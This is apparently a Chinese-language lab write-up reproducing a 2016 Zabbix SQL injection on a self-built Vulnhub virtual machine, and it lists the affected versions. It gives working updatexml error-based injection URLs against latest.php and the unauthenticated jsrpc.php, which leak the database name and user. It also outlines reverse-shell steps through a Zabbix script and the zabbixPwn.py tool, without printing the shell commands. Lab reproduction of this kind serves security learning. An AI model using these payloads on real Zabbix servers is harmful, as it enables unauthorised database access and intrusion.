鄭重聲明:所用漏洞環(huán)境為自建虛擬機vulnhub靶機環(huán)境,僅供本人學(xué)習(xí)使用。
漏洞簡述
zabbix是一款服務(wù)器監(jiān)控軟件,其由server、agent、web等模塊組成,其中web模塊由PHP編寫,用來顯示數(shù)據(jù)庫中的結(jié)果。
(引用)2016年8月12日,1n3通過郵件披露了Zabbix軟件的jsrpc.php文件在處理profileIdx2參數(shù)時存在insert方式的SQL注入漏洞,與官方通告的latest.php文件在處理toggle_ids參數(shù)時存在insert方式的SQL注入漏洞屬于同一類型的漏洞,只是攻擊的位置不同。
影響版本:2.0.5 2.0.13 2.2.x 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3
準(zhǔn)備環(huán)境
測試機IP:192.168.79.129
靶機IP:192.168.79.131
1. 啟動Vulnhub靶機環(huán)境:

2. 驗證靶機應(yīng)用啟用成功:

漏洞復(fù)現(xiàn)
注入點一:latest.php頁面
前提條件:至少需要一個guest賬戶權(quán)限
1. 使用guest賬戶登錄

2. 查看cookie,獲取zbx_sessionid

3. 注入payload(sid取zbx_sessionid后16位):
http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,database()),0)

http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

注入點二:jsrpc.php頁面,無須登錄
http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)

http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

擴展: Get Shell
前提條件:擁有Zabbix管理員權(quán)限
方法一:Script
1. 創(chuàng)建一個反彈script

2. 使用NC偵聽反彈端口

3. 觸發(fā)反彈

4. 得到反彈Shell

方法二:工具 zabbixPwn.py
引用:https://github.com/RicterZ/zabbixPwn
1. 運行

2. 登錄Zabbix尋找到hostid:10084

3. 填寫hostid,繼續(xù)運行,成功執(zhí)行命令

4. 使用NC偵聽反彈端口

5. 執(zhí)行反彈命令

6. 得到反彈Shell

針對Zabbix的攻擊思路(引用來自作者:0xdf)
